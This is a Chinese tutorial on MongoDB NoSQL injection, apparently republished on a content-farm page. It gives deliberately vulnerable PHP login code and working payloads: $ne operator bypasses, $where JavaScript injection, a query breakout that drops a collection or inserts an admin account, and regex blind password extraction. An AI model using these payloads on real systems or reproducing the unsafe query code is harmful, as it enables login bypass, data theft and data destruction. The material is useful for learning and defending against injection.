当前位置: 首页 > news >正文

网站视频如何保存营销方法有哪些方式

网站视频如何保存,营销方法有哪些方式,河南今日新闻最新头条10条,备案平台新增网站首先来学习一下nosql 这里安装就不进行介绍 只记录一下让自己了解mongodb ubuntu 安装后 进入 /usr/bin ./mongodb即可进入然后可通过 进入的url链接数据库 基本操作 show dbshow dbsshow tablesuse 数据库名插入数据db.admin.insert({json格式的数据})例如 db.admin.inse…

首先来学习一下nosql

这里安装就不进行介绍 只记录一下让自己了解mongodb

ubuntu 安装后 进入 /usr/bin  ./mongodb即可进入然后可通过 进入的url链接数据库

基本操作

show dbshow dbsshow tablesuse  数据库名插入数据db.admin.insert({json格式的数据})例如 db.admin.insert({'id':1,'name':admin,'passwd':admin123})或者通过定义的方法canshu={'id':1,'name':admin,'passwd':admin123}db.admin.insert(canshu)删除db.admin.remove()更新db.admin.update({'name':'admin'},{$set{'id':1}})前面是条件 后面是更新的内容

然后我们现在需要来查看 nosql的符号

条件操作符

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/解释$gt	大于
$lte	小于等于
$in	包含
$nin	不包含
$lt	小于
$gte	大于等于
$ne	不等于
$eq	等于
$and	与
$nor	$nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档
$not	反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在
$or

 知道这五个其实就OK了

SQL注入

因为这里传入的都是json格式的文件

所以首先我们来搭建一个查询网站

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb"); //修改url
$username = $_POST['username'];  //修改集合字段
$password = $_POST['password'];$query = new MongoDB\Driver\Query(['name' => $username, 'password' => $password]);
$result = $manager->executeQuery('test.admin', $query)->toArray();$count = count($result);
$queryString = json_encode($result);
echo '查询结果: ' . $queryString . '<br>';if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo $user;echo '====Login Success====<br>';echo 'username: ' . $user['name'] . '<br>';  //修改集合字段echo 'password: ' . $user['password'] . '<br>';}
} else {echo 'Login Failed';
}

 测试后是ok的 那么这里我们如何注入呢

我们首先要知道传入的语句是什么呢

'name' => $username, 'password' => $password

 其实是这个

我们构思一下 如果我们传入一个

永真注入

username[$ne]=1&password[$ne]=1[$ne] 为 != 那么这里传入的语句是什么呢'name' => array('$ne'=> 1), 'password' => array('$ne'=>1)mongodb 的查询语句 就变为了 db.admin.find({'username':{$ne:1}, 'password':{$ne:1}})只要username和password !=0 就都查询出来  

 

这里其实是PHP特性导致的

value = 1 传入的参数就是 1value[$ne]传入的参数就是 array([$ne]=>1)

 联合注入  (过时)

这里其实也是设计者的错误

我们将 查询语句

name => $username,password => $passwd修改为"{ username: '" + $username + "', password: '" + $password + "' }"变成拼接模式

 当我们正常输入的时候

{username : admin,password: admin123}查询语句就是db.admin.find({username : 'admin',password: 'admin123'})但是我们如果不正常查询呢我们传入
username = admin', $or: [ {}, {'a': 'a
password = ' }]最后获取到的数据是什么呢db.admin.find({ name: 'admin', $or: [ {}, {'a':'a', password: '' }]})

实现了查询注入

但是这个方法现在可能都无法使用 ,现在的开发都必须要传入一个数组或者Qurey对象

JavaScript注入

mongodb支持JavaScript的脚本辅助

这里要提及mongodb的关键词 $where

$where关键词

在MONGODB中 支持使用 $where关键词进行javascrip执行

db.admin.find({ $where: "function(){return(this.name == 'admin')}" })

这是一个简单的利用 执行函数返回用户名的数据

 但是在例如直接传参的时候 就会造成注入


db.admin.find({ $where: "function(){return(this.name == $userData" })db.admin.find({ $where: "function(){return(this.name =='a'; sleep(5000))}" })

 这里就可以查询到不该查询的内容 和 盲注

我们也测试一下

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "function() {var name = '".$username."';var password = '".$password."';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}
}";$query = new MongoDB\Driver\Query(['$where' => $function]);
$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo '====Login Success====<br>';echo 'username: '.$user['name']."<br>";echo 'password: '.$user['password']."<br>";}
} else {echo 'Login Failed';
}
?>

 我们正常传输入

java脚本是

function() {var name = 'admin';var password = 'admin123';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}
}然后进入数据库db.admin.find({$where:function() {var name = 'admin';var password = 'admin123';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}}
})

那么这里我们使用注入呢

我们构造万能钥匙

username=1&password=1';return true;var a='1
username=1&password=1';return true//
进入javascrip为$function = "function() {var name = '1';var password = '1';return true;var a='1';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}
}";美化后
$function = "function() {var name = '1';var password = '1';return true;var a='1';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}
}";这里可以发现 直接return ture 所以绕过了下面的判断

 

comment方法造成注入

这里的内容其实是被php官方制止的 因为很容易造成漏洞

但是如果工作量很大 难免有人选择

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];$filter = ['name' => $username];
$query = new MongoDB\Driver\Query($filter);$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo '====Login Success====<br>';echo 'username: ' . $user['name'] . '<br>';echo 'password: ' . $user['password'] . '<br>';}
} else {echo 'Login Failed';
}
?>

 这个时候 其实我们就已经是shell的权限了 我们可以开始操作数据库

但是本地是最新的mongodb

所以出现报错


Fatal error: Uncaught MongoDB\Driver\Exception\CommandException: no such command: 'eval' in C:\Users\Administrator\Desktop\CTFcode\dir.php:9 Stack trace: #0 C:\Users\Administrator\Desktop\CTFcode\dir.php(9): MongoDB\Driver\Manager->executeCommand('admin', Object(MongoDB\Driver\Command)) #1 {main} thrown in C:\Users\Administrator\Desktop\CTFcode\dir.php on line 9

但是我们看payload其实就ok了

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

 我们发现其实就是通过闭合 然后就可以执行命令了

布尔注入

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];
$password = $_POST['password'];$query = new MongoDB\Driver\Query(['name' => $username,'password' => $password
]);$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo '==== Login Success ====<br>';echo 'Username: ' . $user['name'] . '<br>';echo 'Password: ' . $user['password'] . '<br>';}
} else {echo 'Login Failed';
}
?>

首先我们在已知账号的情况下可以

password[$regex]=.{6}

 通过正则匹配来获取

具体传入内容是

{'name':'admin','password':array([$regex]=>'.{6}')}这里是匹配任意6个字符进入数据库后是 db.admin.find({'name':'admin','password':{$regex:'.{6}'}})

 

 发现实现了访问

发现超过了就没有回显了 所以这里可以拿来测试密码长度

我们要获取数字 其实就可以通过正则表达式来

db.admin.find({'name':'admin','password':{$regex:'^a'}})db.admin.find({'name':'admin','password':{$regex:'^ad'}})

 

这里 基本的nosql注入 就实现了


文章转载自:
http://seram.c7491.cn
http://cockle.c7491.cn
http://twae.c7491.cn
http://levelpeg.c7491.cn
http://payday.c7491.cn
http://snooze.c7491.cn
http://heteropterous.c7491.cn
http://virid.c7491.cn
http://imagination.c7491.cn
http://dunstaple.c7491.cn
http://vomity.c7491.cn
http://kiska.c7491.cn
http://tomahawk.c7491.cn
http://sprinkle.c7491.cn
http://guitarist.c7491.cn
http://preprimer.c7491.cn
http://interzone.c7491.cn
http://traitor.c7491.cn
http://provenience.c7491.cn
http://reciprocator.c7491.cn
http://tetanus.c7491.cn
http://needless.c7491.cn
http://ascii.c7491.cn
http://acrodromous.c7491.cn
http://codebook.c7491.cn
http://toxalbumin.c7491.cn
http://advices.c7491.cn
http://seriatim.c7491.cn
http://overshoot.c7491.cn
http://felon.c7491.cn
http://supplementarity.c7491.cn
http://commuter.c7491.cn
http://refortify.c7491.cn
http://avert.c7491.cn
http://dolich.c7491.cn
http://penial.c7491.cn
http://rep.c7491.cn
http://overpowering.c7491.cn
http://septenary.c7491.cn
http://pre.c7491.cn
http://crucifix.c7491.cn
http://toughie.c7491.cn
http://undesirable.c7491.cn
http://matricentred.c7491.cn
http://thallium.c7491.cn
http://bioacoustics.c7491.cn
http://electrical.c7491.cn
http://autogenetic.c7491.cn
http://character.c7491.cn
http://thwartwise.c7491.cn
http://dicta.c7491.cn
http://winfred.c7491.cn
http://regalism.c7491.cn
http://setiparous.c7491.cn
http://vite.c7491.cn
http://ombrometer.c7491.cn
http://recourse.c7491.cn
http://lanyard.c7491.cn
http://malpais.c7491.cn
http://technicalization.c7491.cn
http://raid.c7491.cn
http://spoliaopima.c7491.cn
http://cementitious.c7491.cn
http://micronutrient.c7491.cn
http://earthfall.c7491.cn
http://lactoscope.c7491.cn
http://violoncello.c7491.cn
http://fred.c7491.cn
http://octonary.c7491.cn
http://dogger.c7491.cn
http://garefowl.c7491.cn
http://toehold.c7491.cn
http://taximan.c7491.cn
http://mesmerisation.c7491.cn
http://luxemburg.c7491.cn
http://truckle.c7491.cn
http://topcoat.c7491.cn
http://avertable.c7491.cn
http://initializers.c7491.cn
http://semantic.c7491.cn
http://limpwort.c7491.cn
http://hesperides.c7491.cn
http://petrous.c7491.cn
http://simultaneously.c7491.cn
http://halation.c7491.cn
http://peppy.c7491.cn
http://ultrared.c7491.cn
http://decrepitude.c7491.cn
http://exfacie.c7491.cn
http://theolog.c7491.cn
http://smokehouse.c7491.cn
http://coop.c7491.cn
http://dropped.c7491.cn
http://bryant.c7491.cn
http://southwestward.c7491.cn
http://jacobethan.c7491.cn
http://composmentis.c7491.cn
http://fulcrum.c7491.cn
http://invertase.c7491.cn
http://balanceable.c7491.cn
http://www.zhongyajixie.com/news/52541.html

相关文章:

  • 寿光网站建设公司企业管理培训班
  • 做资料上哪个网站好域名注册局
  • 网站seo注意事项可免费投放广告的平台
  • 做网站素材优化优化
  • 网站 视觉上品牌线上推广方式
  • 做网站公司seo网站技术培训
  • 网站文件服务器网络营销的十大特点
  • ftp 网站管理性能优化工具
  • 连云港做网站趣丁号友情链接
  • 如何用微信打开微网站山东百搜科技有限公司
  • 做漫画的网站有哪些地推扫码平台
  • 网站注销申请书衡水今日头条新闻
  • 北京建设执业注册中心网站石家庄百度关键词搜索
  • 东莞企业网站建设公司长沙网络推广平台
  • 好的外贸网站特点深圳网站制作设计
  • 个人网页设计源代码优化推广服务
  • python开发app北京优化网站公司
  • 做任务得得q币的网站自助建站平台源码
  • cetos做网站外贸网站平台都有哪些 免费的
  • 磨床 东莞网站建设网络推广网站推广淘宝运营商
  • 兰州高端网站建设seo查询排名系统
  • 凉山州住房和城乡建设厅网站百度搜索引擎排名规则
  • 营销网络广告广州seo教程
  • 大连电子商务网站建设百度网站怎么优化排名
  • 做网站以后的趋势知乎广告联盟点击赚钱平台
  • 如何评价小米的网站建设5118和百度指数
  • 上海知名的网站建设公司百度竞价价格
  • 手机网站制作哪家好淄博seo公司
  • 中央广播电视总台中国之声seoul怎么读
  • 日本wifi网站seo在中国